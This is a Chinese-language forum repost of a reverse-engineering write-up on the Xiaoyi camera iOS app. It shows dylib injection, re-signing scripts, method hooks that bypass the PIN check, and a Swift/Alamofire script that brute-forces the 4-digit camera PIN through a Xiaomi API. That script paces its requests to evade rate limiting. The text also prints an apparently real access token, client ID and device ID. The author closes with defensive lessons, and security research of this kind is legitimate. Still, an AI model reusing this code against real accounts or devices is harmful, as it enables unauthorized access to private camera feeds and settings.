@iblue wrote:
转自简书 https://www.jianshu.com/writer#/notebooks/4365539/notes/25491943
概述
本次分析,选取了小蚁摄像机App的iOS版本,主要目标是从数据缓存及数据传输方面探索App数据方面的安全性。
iOS系统中,本地缓存通常以数据库、plist、序列化文件、UserDefault、KeyChain等为媒介。其中UserDefault、KeyChain都采用iOS自带的加密方式,在不明确键值及密钥的情况下,基本上无法破解。
数据传输方面,在https普及后,App基本上都是采用这种方式进行的。虽然抓包已经失效,但并不代表不可以从App中获取发送的请求及响应,依然可以通过对关键请求进行hook,打印参数的方法来得到接口信息。
本次逆向使用非越狱手机进行,采用最暴力、最直接的方法 —— 打印日志。思路是先将libReveal.dylib、libCommonCrack.dylib等动态库注入App,通过classdump、Hopper得到关键函数,再对关键函数进行hook,打印信息,获取接口,暴力破解。
1 环境要求
iPhone手机,系统不做要求,越狱不做要求
Xcode及iOSOpenDev套件
yololib动态注入工具
Hopper Disassembler v4 反编译工具
Reveal 界面分析工具
小蚁摄像机iOS版本(2.19.3)
2 安装包破解
破解版本安装包获取的途径非常多,常用的方法是直接使用越狱的手机,借助dumpcrypted/Clutch等工具,获取砸壳后的二进制文件。
由于本次分析是基于非越狱的手机,这里通过PP助手官网下载越狱的安装包。
2.1 分析网页源码
搜索找到“小蚁摄像机”的应用链接 https://www.25pp.com/ios/detail_1598325/
打开网页检查器,定位到“下载越狱版本”的标签上,得到app的下载地址appdownurl和点击响应事件ppOneKeySetup
appdownurl=“aHR0cDovL3IxMS4yNXBwLmNvbS9zb2Z0LzIwMTgvMDMvMTUvMjAxODAzMTVfMjE1NF8yMTg5ODAwMzM4ODguaXBh”
onclick=“return ppOneKeySetup(this)”
根据ppOneKeySetup及appdownUrl,在 ***pp_onekey-d17d98b4.js***定位到相关代码:
(C = h.href, E = h.getAttribute("appdownurl"), E && E.length > 0 && (C = o.base64decode(o.utf8to16(E)))
简单分析代码,脚本只是将appdownUrl进行了base64的解码,并没有其他特殊操作。对appdownUrl进行base64Decode后,得到ipa下载地址http://r11.25pp.com/soft/2018/03/15/20180315_2154_218980033888.ipa
下载ipa并解压缩后,使用otool进行验证,可以看到armv7及arm64的crypt字段都为0,说明下载的安装包二进制文件已经被砸壳了。
jiangbindeMac-mini:V2.0 jiangbin$ file YiHome2.0 YiHome2.0: Mach-O universal binary with 2 architectures: [arm_v7: Mach-O executable arm_v7] [arm64] YiHome2.0 (for architecture armv7): Mach-O executable arm_v7 YiHome2.0 (for architecture arm64): Mach-O 64-bit executable arm64 jiangbindeMac-mini:V2.0 jiangbin$ otool -l YiHome2.0 | grep crypt cryptoff 16384 cryptsize 16547840 cryptid 0 cryptoff 16384 cryptsize 18874368 cryptid 0
2.2 重签名
为了查看App沙盒中的文件,需要使用开发证书对app进行重新签名。重签名脚本见附录重签名脚本
使用一段时间后,打开沙盒目录,缓存数据初见端倪,接下来对相关文件行分析:
3 本地缓存分析
对沙盒Documents目录,进行简单分析:
- 4502360:可能是类似与userId的字段
- account.plist:记录了一些参数,只有value,没有key值
- devices:里面文件夹以deviceId为名称,区分不同的设备,每个子文件夹内有两张封面图 placeholder.png、placeholder_blur.png,分别对应摄像头设置密码前后的封面图; placeholder_blur.png只是将封面图作了高斯模糊处理
- log:自带的打印日志,信息很少,除了deviceId外,没有其他可用信息
- yydb.sqlite3:缓存了报警信息、登录信息等内容,密码相关的信息都是加密过的
3.1 yydb.sqlit3
发现一个有意思的现象,对于alarm信息,数据库中存在两份数据表,alarm_mi、alarm_yi。联想到之前设备添加的提示信息,可以断定,小蚁从小米独立出来以后,引入了自己的账号系统,但是为了兼容1代的摄像头,又不得不使用小米账号进行第三方登录。估计这一部分的账号会逐步进行淘汰,App考虑到后期的维护性,直接重新建了一份新的表格alarm_yi,以减少数据的冲突和维护。下面对表alarm_mi进行分析:
- deviceId:yunyi.TNPCHNA-695008-FUKEN
- id:数据库自增长的id,与消息id无关
- time:消息触发时间,结合表 alarm_list_read_2 ,App中将此键值作为消息的索引,也就是说从平台拉取的消息是不带messageId的,App需要通过此值来进行查找、删除、标记等操作
- videoUrl: 报警消息对应的预览视频地址,每个视频只有6s,如果要查看完整的视频,需要在视频播放结束后,主动跳转到完整视频界面去查看。使用Signature、Expires、GalaxyAccessKeyId等参数检验,在Expires时间内,可以直接下载,但由于不是标准格式的mp4格式文件,无法直接播放
https://cnbj2.fds.api.xiaomi.com/motiondetection/2018%2F03%2F19%2F337701719%2Fyunyi.TNPCHNA-695008-FUKEN_081922470.mp4?
GalaxyAccessKeyId=5561734629076&Expires=1521508775000&Signature=mLcdWGRz+oYaxS4eOlMcO6o9YL8=
- videoImageUrl: 报警消息封面图,与videoUrl类似
- video_pwd:每行对应的密码均不一样,即相同的视频密码,不同的录像段对应的缓存密码是不同的,
_SJgn2EMj6pWl2WH3x3qSA
,猜测应该是经过了多种对称加密- pic_pwd:与video_pwd相似
从表内容来看,数据库对密码字段进行了较为复杂的加密,无法通过反解析来得到视频的原始密码。另外Expires时间设置得比较短,只有30分钟,超过30min后,下载链接失效,从而保证了一定的安全性。
3.2 log文件
App自带的日志信息,位于log/y_log.txt。从打开App开始,输入摄像机密码,再到拉流成功,导出日志文件。
除了前面分析过的deviceId外,没有其他多余的信息
... 2018-03-20-04-03-26 -[JJP2PControl onCameraError:errorCode:] [Line 1923] 😡 TNPCHNA-695008-FUKEN,error:-3003 2018-03-20-04-03-26 -[JJP2PControl onCameraError:errorCode:] [Line 1923] 😡 TNPCHNA-695008-FUKEN,error:-3019 2018-03-20-04-03-32 -[JJCameraPlayViewController viewDidLoad] [Line 125] connect TNPCHNA-695008-FUKEN p2p:TNPCHNA-695008-FUKEN ....
3.3 本地缓存总结
从数据库、日志文件分析,都没有敏感的数据信息暴露,本地数据的缓存在正常途径下还是很安全的。
另外,数据库、缓存文件中,或许为了设备安全,并没有设备参数相关的数据,猜测应该是根本没有缓存。验证的方法也很简单:关闭设备密码,返回到主页,打开手机飞行模式,再次进入设备设置,发现提示设备连接失败,只展示了摄像机名称这一栏。
从目前来看,想要实现破解密码的目标似乎很难行通,但事实或许并不是如此,接下来,我们从代码层面对App进一步分析。
4 动态注入及源码分析
AppStore版本的程序,禁止使用非系统的动态库,主要是为了安全和性能的考虑。但不意味着App不可以使用动态库,只要将动态库加入到程序的bundle中,并使用相同的证书对动态库、app进行签名,就可以正常使用。
4.1 注入libCommonCrack.dylib
使用iOSOpenDev新建动态库工程,生成libCommonCrack.dylib,该动态库作用如下:
(1)导入公共log模块代码,重定向NSLog、print等输出到沙盒文件中
(2)对关键代码进行Hook
(3)启动libReveal.dylib
生成dylib后,使用yololib将其注入到二进制文件YiHome2.0中:
APP_NAME="YiHome2.0" DYLIB_NAME="libCrackCommon.dylib" TARGET_NAME="Crack-${APP_NAME}.ipa" #注入动态库 ./yololib $APP_NAME.app/$APP_NAME $DYLIB_NAME
4.2 启动Reveal
参考Reveal的帮助文档,在AppDelegate+Hook.m中,Hook住idFinishLaunchingWithOptions函数,加入启动libReveal.dylib的代码
CHDeclareMethod(0, void, AppDelegate, loadReveal) { if (NSClassFromString(@"IBARevealLoader") == nil) { NSString *revealLibName = @"libReveal"; NSString *revealLibExtension = @"dylib"; NSString *error; NSString *dyLibPath = [[NSBundle mainBundle] pathForResource:revealLibName ofType:revealLibExtension]; NSLog(@"Loading dynamic library: %@", dyLibPath); dlopen([dyLibPath cStringUsingEncoding:NSUTF8StringEncoding], RTLD_NOW); } }
注入libCommonCrack.dylib,并重新签名,安装、启动App,再次打开沙盒目录。生成了AppLog目录,打开日志文件,Reveal正常启动:
018-03-20 08:53:45.601 YiHome2.0[583:97603] Loading dynamic library: /var/containers/Bundle/Application/7CCCADB7-AF78-4E16-8CFD-2CB486C09C45/YiHome2.0.app/libReveal.dylib 2018-03-20 08:53:45.735 YiHome2.0[583:97603] INFO: Reveal Server started (Protocol Version 25).
从App上进入密码校验界面,Mac上同步更新Reveal展示,得到相关信息,即密码输入框所在的父视图 JJPincodeViewController
至此,第一个线索浮出水面。通过操作可以得知,进入设置、视频界面前,需要输入密码进行检验。如果直接跳过这个检验的步骤,是不是就可以直接观看视频、设置设备呢?接下来重点对JJPincodeViewController进行代码分析。
5 源码Hook
使用class-dump对二进制文件进行头文件导出,初步分析JJPincodeViewController.h,找到两个关键函数:
- (void)yyBlockResponsePincodeCheckWithRequest:(id)arg1 response:(id)arg2 success:(_Bool)arg3; - (_Bool)___pincodeIsSuccessWithRequest:(id)arg1 response:(id)arg2 success:(_Bool)arg3 isCheckout:(_Bool)arg4;
再使用Hopper查看JJPincodeViewController的代码,梳理函数调用关系,大致得出如下的调用过程:
将返回的结果处理函数___pincodeIsSuccessWithRequest,直接return true,一试究竟。
5.1 JJPincodeViewController+Hook
libCrackCommon工程中,加入JJPincodeViewController+Hook.m,对___pincodeIsSuccessWithRequest函数进行返回值重写
CHMethod(4, bool, JJPincodeViewController, ___pincodeIsSuccessWithRequest, id, arg1, response, id, arg2, success, bool, arg3, isCheckout, bool , arg4 ) { NSLog(@"JJPincodeViewController:: ___pincodeIsSuccessWithRequest %@ - %@ - %d - %d", arg1, arg2, arg3, arg4); if ([arg2 isKindOfClass:NSClassFromString(@"APPResponse")]) { APPResponse *response = (APPResponse *)arg2; NSLog(@"JJPincodeViewController dictResponse::%@", response.dictResponse); } return YES; }
完成打包后,直接输入一个错误的密码,确实不再有密码错误的提示,直接进入了视频播放界面。
开始拉流,但是提示连接失败;进入设置界面,加载过后,也是失败。
可以肯定,App采用了双重的加密机制,虽然可以绕过前面的密码验证步骤,但后面的请求应该也使用了密码进行检验。
至此,绕过密码验证的路也被堵死,接下来直接从接口进行分析。请求是通过YYHttpClient发送的,响应通过block返回,将YYHttpClient的发送和响应都写到日志中,看看能否得到有用信息。
5.2 YYHttpClient+Hook
这里,直接hook住post的请求,打印请求体及响应。
//- (id)singlePostWithUrl:(id)arg1 completionBlock:(id)arg2; CHMethod(2, BOOL, YYHttpClient, singlePostWithUrl, id, arg1, completionBlock, id, arg2 ) { id result = CHSuper(2, YYHttpClient, singlePostWithUrl, arg1, completionBlock, arg2); NSLog(@"YYHttpClient::singlePostWithUrl request %@ - %@ ", arg1, arg2); NSLog(@"YYHttpClient::singlePostWithUrl result %@ ", result); return result; }
再次打开日志,请求参数及结果一目了然:
============================================== url -> https://openapp.io.mi.com/openapp/pincode/check?data=%7B%22did%22%3A%22yunyi.TNPCHNA-695008-FUKEN%22%2C%22pincode%22%3A%220411%22%7D&accessToken=V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ&clientId=2882303761517230659 action -> https://openapp.io.mi.com/openapp/pincode/check params -> data=%7B%22did%22%3A%22yunyi.TNPCHNA-695008-FUKEN%22%2C%22pincode%22%3A%220411%22%7D&accessToken=V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ&clientId=2882303761517230659 ============================================== - <__NSStackBlock__: 0x16fde5960> 2018-03-20 08:53:50.363 YiHome2.0[583:97603] YYHttpClient::singlePostWithUrl result (null) 2018-03-20 08:53:50.672 YiHome2.0[583:97603] JJPincodeViewController:: ___pincodeIsSuccessWithRequest <ASIFormDataRequest: 0x10203f000> - <APPResponse: 0x171666100> - 1 - 1 2018-03-20 08:53:50.672 YiHome2.0[583:97603] JJPincodeViewController dictResponse::{ code = 0; message = ok; result = ""; }
对url中的data参数进行转义:
data={"did":"yunyi.TNPCHNA-695008-FUKEN","pincode":"0411"}
4个请求参数,分别如下:
- did:yunyi.TNPCHNA-695008-FUKEN,即前面分析过的设备id
- pincode:4位明文的密码
- clientId:应该是平台分配的程序标识,这个值是固定的,沙盒中的account.plist文件也有这个值
- accessToken:用于免登录和api请求
先尝试通过https://www.sojson.com/httpRequest/模拟请求,看能否通过 ,得到返回结果:
{ "code": 0, "message": "ok", "result": { "ret": -1 } }
得到正常的响应,ret返回-1表示失败。使用错误的密码多试几次后,返回的数据也是一样的,可见平台并未对该接口pincode/check作保护,App限制5次输入也是本地的行为。请求参数中did、clientId是固定值,在不注销的情况下accessToken也是不变的,所以只需要将pincode从0000枚举到9999,进行模拟的post请求,就可以暴力破解设备密码。
直接使用Almofire,发送模拟请求,发现每进行100次的串行请求,平台返回frequent的错误。这里每模拟请求50次,延迟10s继续进行,以规避该错误,具体参考代码见附录Almofire模拟请求。最终得到正确的密码 0411:
Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0401 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0402 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0403 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0404 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0405 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0406 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0407 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0408 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0409 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0410 Data: {"code":0,"message":"ok","result":""} Succeed...0411
除此之外,还可以得到很多其他的接口……
6 总结
综上,从数据缓存、数据传输方面分析了小蚁摄像机App的加密方式及安全性。从表象上看,缓存使用了复杂的对称加密方式,数据传输使用了HTTPS方式,安全性应该是非常高了。但是在hook之下,隐患一览无遗,扯去了安全的外衣,剩下的是一系列明文传输的接口。
从中,我觉得有几点值得反思:(1)密码校验,平台一定要做防止暴力破解,而不是从App端进行限制
(2)Http请求,要在请求头中加上比较复杂的签名算法
(3)发布版本,需要屏蔽日志输出相关函数,以免被进行hook
附录
重签名脚本
APP_NAME="YiHome2.0" DYLIB_NAME="libCrackCommon.dylib" TARGET_NAME="Crack-${APP_NAME}.ipa" TARGET_BUNDLEID="com.360ants.yihome" KEYCHAIN="6F52A56706B4E6CB90C605FF39841ACB01C8558C" #配置信息打印 function printXcodeInfo() { xcode-select --version xcode-select --print-path security find-identity -v -p codesigning } #注入动态库 ./yololib $APP_NAME.app/$APP_NAME $DYLIB_NAME #将文件拷贝到目录下 cp $DYLIB_NAME $APP_NAME.app/$DYLIB_NAME rm -f $APP_NAME.app/embedded.mobileprovision rm -f -r $APP_NAME.app/_CodeSignature cp embedded.mobileprovision $APP_NAME.app/embedded.mobileprovision #删除watch及PlugIns文件夹【可能会造成签名不正确的问题】 rm -r $APP_NAME.app/Watch/ rm -r $APP_NAME.app/PlugIns/ #替换图标 function copyIconWithSize () { SIZE=$1 cp ./Icons/AppIcon$1x$1@2x.png $APP_NAME.app/AppIcon$1x$1@2x.png cp ./Icons/AppIcon$1x$1@3x.png $APP_NAME.app/AppIcon$1x$1@3x.png } copyIconWithSize "29" copyIconWithSize "40" copyIconWithSize "57" copyIconWithSize "60" #改变bundle identifier echo "change bundle ID to ${TARGET_BUNDLEID}" `/usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier ${TARGET_BUNDLEID}" $APP_NAME.app/Info.plist` #先对动态库签名 codesign -v -f -s "${KEYCHAIN}" $APP_NAME.app/$DYLIB_NAME #codesign -v -f -s "${KEYCHAIN}" $APP_NAME.app/Frameworks/* #再对app签名 codesign -v -f -s "${KEYCHAIN}" --entitlements Entitlements.plist $APP_NAME.app #删除旧的ipa,覆盖时可能会影响安装 rm -r $TARGET_NAME #使用Zip打包,注意文件结构 Payload/xxx.app mkdir Payload cp -r $APP_NAME.app Payload zip -qr $TARGET_NAME Payload #清除临时文件夹Payload rm -rf Payload #检验 echo "=============================================================" echo "签名信息:" codesign -dvvv $APP_NAME.app
Almofire模拟请求代码段
func testYiHomePincode(pincode: String, completion: @escaping (_ result: Bool) -> (Void)) -> DataRequest { let urlString = "https://openapp.io.mi.com/openapp/pincode/check" let header: HTTPHeaders = [ "Content-Type" : "application/x-www-form-urlencoded" ] //注意data为非标准格式json let parameters: Parameters = [ "data": "{\"did\": \"yunyi.TNPCHNA-695008-FUKEN\", \"pincode\": \"\(pincode)\"}", "accessToken": "V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ", "clientId": "2882303761517230659" ] let request = Alamofire.request(urlString, method: .post, parameters: parameters, encoding: URLEncoding.default, headers: header) request.response { response in if let data = response.data, let utf8Text = String(data: data, encoding: .utf8) { print("Data: \(utf8Text)") let json = JSON.parse(utf8Text) if let dic = json.dictionaryObject { if let result = dic["result"] { if result as? [String: Any] != nil { print("Failed...\(pincode)") completion(false) } else { print("Succeed...\(pincode)") completion(true) } } else { print("Failed...\(pincode)") completion(false) } } } } return request } func testYiHome(index: Int) { let pincode = String(format: "%04d", index) _ = self.testYiHomePincode(pincode: pincode, completion: { (result) -> (Void) in if result == false { if index != 0, index % 50 == 0 { sleep(10) } self.testYiHome(index: index+1) } }) }
Posts: 1
Participants: 1